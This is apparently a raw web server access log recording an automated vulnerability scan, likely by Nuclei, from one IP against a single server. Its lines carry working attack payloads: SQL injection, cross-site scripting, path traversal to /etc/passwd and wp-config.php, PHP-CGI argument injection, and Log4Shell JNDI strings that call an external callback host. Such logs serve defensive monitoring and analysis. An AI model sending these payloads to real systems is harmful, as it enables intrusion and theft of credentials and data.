[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/wcm/contentfinder/connector/suggestions.json;%0aOJh.css?query_term=path%3a/&pre=380DIDInzSvoKCf2m5NMeDbGhlN HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/workflow-remover.html HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.;%0aa.css?path=/home&p.hits=full&p.limit=-1 HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/start HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/acme-challenge/../../admin/diagnostic.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/canal/config/1/1 HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/public HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/reports/diskusage.html?path=/content/dam HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ampps/index.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/dispatcher.cgi?cmd=1 HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /classifieds%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/search?category=1 HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content.infinity.json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //advanced-elements/list/list-filters/index.html?reloaded&sort=date_asc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aa404bb?a</script><script>alert(/XSS/)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/images/background.jpg HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anaqua/Public/Login.aspx?ReturnUrl=%2fanaqua%2f HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /var/linkchecker.html HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.angular-cli.json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app?service=page/PrinterList HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ansible.cfg HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /.antproxy.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apache.conf HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login?redirect=%2F HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_config HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json HTTP/1.1" 226
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/groovyconsole.html HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?page=home HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler?for=connect HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /content/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2fd5g6to2hausk1oj0j65gofgg4ddf9mcrt.oast.live%2ftea%7d HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/guest/Login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jars/upload HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/loginstatus.css HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf HTTP/1.1" 237
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /answer/api/v1/siteinfo HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.licenserc.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nifi-api/process-groups/root HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nifi-api/access/config HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webtools/control/main HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /translations/en.json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unified-console.html HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/collections?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-739%7D%24%7B%3A-686%7D.%24%7BhostName%7D.uri.d5g6to2hausk1oj0j65gg5hkj36r597j5.oast.live%2F%7D HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /solr/gettingstarted_shard1_replica_n1/config HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/sling/info.sessionInfo.txt HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/cluster/summary HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.php?action=config HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "@tls-sni: 202.181.208.139:443" 226
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminer/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] ec2-3-1-128-83.ap-southeast-1.compute.amazonaws.com TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-info HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/airflow/login HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon.htm HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.apdisk HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /files/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/alm_templates/ALFA_DATA/alfacgiapi/ HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/explorer/ui/search.jsp?Path&Query HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apimanui/api-manager HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ywzpA8oE%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apc/apc.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///system///sling///loginstatus HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /editor.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/Wordpress/Aaspose-pdf-exporter/aspose_pdf_exporter_download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloadfile.php?file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /allPlans.action HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /model-versions/get-artifact?path=random&name=MbMreK&version=2 HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/logs/access.log HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupLicense.action HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-739%7D%24%7B%3A-686%7D.%24%7BhostName%7D.uri.d5g6to2hausk1oj0j65g5jhbnamcbeopc.oast.live%2F%7D HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/380DIH2QqBTBwekJlvaLkbCn3KG.php HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_db/_system/_admin/aardvark/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mcmadmin HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/compact/index.html?reloaded&sort=date_desc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /graphql HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/home?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /swarm.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appspec.yml HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prx/000/http/localhost/client_sec/%00../../../addfolder HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/aspose-importer-exporter/aspose_import_export_download?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/dispatcher.cgi?cmd=3 HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artifactory/ui/repodata?deploy=true HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/favicon.png HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/version HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /signin HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plug/oem/AspCms_OEMFun.asp HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.servlet HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/apple-app-site-association HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arcgis/rest/services HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apisix/admin/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/version-compare.html HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/administrator/images/background.jpg HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /userlogin!doDefault.action?os_destination=%2Fstart.action HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5(999999999),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appsuite/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /travel-detail.php?id=1%27AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(6)))bAKL)%20AND%20%27vRxe%27=%27vRxe HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/sdk/rest/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /update/../admin/diagnostic.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.login.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis2/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PATCH /mgmt/tm/auth/user/ACUIV HTTP/1.1" 222
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arcade.php?act=Arcade&do=stats&comment=a&s_id=1' HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Main_Login.asp HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /struts2-showcase/showcase.action HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /angular-cli.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/portalhelp/en/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.remote-sync.json HTTP/1.1" 196
